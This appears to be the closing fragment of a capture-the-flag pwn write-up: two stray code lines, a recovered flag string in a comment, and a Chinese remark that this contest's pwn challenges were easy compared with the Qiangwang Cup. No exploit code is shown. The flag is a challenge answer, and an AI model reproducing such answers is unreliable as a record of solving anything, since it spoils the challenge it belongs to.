break
it()


# flag{NpfH6fzHStuKl2CRfvheXWyKO3Bz60F5}

总的来说这次pwn着实有点水,和强网杯一比差好远啊。